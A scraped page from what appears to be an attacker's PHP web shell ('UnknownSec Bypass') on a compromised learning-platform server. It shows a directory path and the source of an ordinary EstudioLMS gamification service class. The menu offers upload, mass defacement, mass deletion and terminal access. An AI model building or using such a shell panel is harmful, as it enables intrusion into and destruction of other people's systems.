UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_e766dfeccb33
/
app
/
Services
/
Environment
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
GamificationService.php
<?php namespace EstudioLMS\Services\Environment; use EstudioLMS\Repositories\Environment\Gamification\AcquiredBadgeInterface; use EstudioLMS\Repositories\Environment\HiredCourseRepository; use EstudioLMS\Repositories\Gamification\BadgeRuleInterface; use EstudioLMS\Repositories\Gamification\RuleTypes\QuizWithAverageBetweenInterface; class GamificationService { /** * @var QuizWithAverageBetweenInterface */ private $quizWithAverageBetween; /** * @var BadgeRuleInterface */ private $badgeRule; /** * @var HiredCourseRepository */ private $hiredCourse; /** * @var AcquiredBadgeInterface */ private $acquiredBadge; /** * GamificationService constructor. * @param QuizWithAverageBetweenInterface $quizWithAverageBetween * @param BadgeRuleInterface $badgeRule * @param HiredCourseRepository $hiredCourse * @param AcquiredBadgeInterface $acquiredBadge */ public function __construct( QuizWithAverageBetweenInterface $quizWithAverageBetween, BadgeRuleInterface $badgeRule, HiredCourseRepository $hiredCourse, AcquiredBadgeInterface $acquiredBadge ) { $this->quizWithAverageBetween = $quizWithAverageBetween; $this->badgeRule = $badgeRule; $this->hiredCourse = $hiredCourse; $this->acquiredBadge = $acquiredBadge; } public function allBadgesForStudentCourse($userId) { $courses = $this->hiredCourse ->with(['course']) ->orderBy('id') ->findByField('user_id', $userId); foreach ($courses as $chave => $course) { $badges = $this->badgeRule ->with(['badge', 'ruleType']) ->orderBy('course_id') ->orderBy('value') ->findWhere([ ['course_id', '=', $course['course_id']], ['published', '=', true] ]) ->all(); if (count($badges) > 0) { foreach ($badges as $key => $badge) { switch ($badge->rule_type_id) { case 1: $badges[$key]['rule'] = $this->quizWithAverageBetween ->with(['resource']) ->findByField('badge_rule_id', $badge['id']) ->first(); if ($badges[$key]['rule']) if ($this->acquiredBadge->findWhere([ ['user_id', '=', $userId], ['course_id', '=', $course['course_id']], ['resource_type_id', '=', $badges[$key]['rule']['resource_type_id']], ['resource_id', '=', $badges[$key]['rule']['resource_id']], ['badge_rule_id', '=', $badge['id']] ])->first()) { $badges[$key]['rule']['checked'] = true; } else { $badges[$key]['rule']['checked'] = false; } break; } } $courses[$chave]['badges'] = $badges; } else { unset($courses[$chave]); } } return $courses; } public function earnedPoints($userId) { return $this->acquiredBadge->earnedPoints($userId); } }
Copyright © 2026 - UnknownSec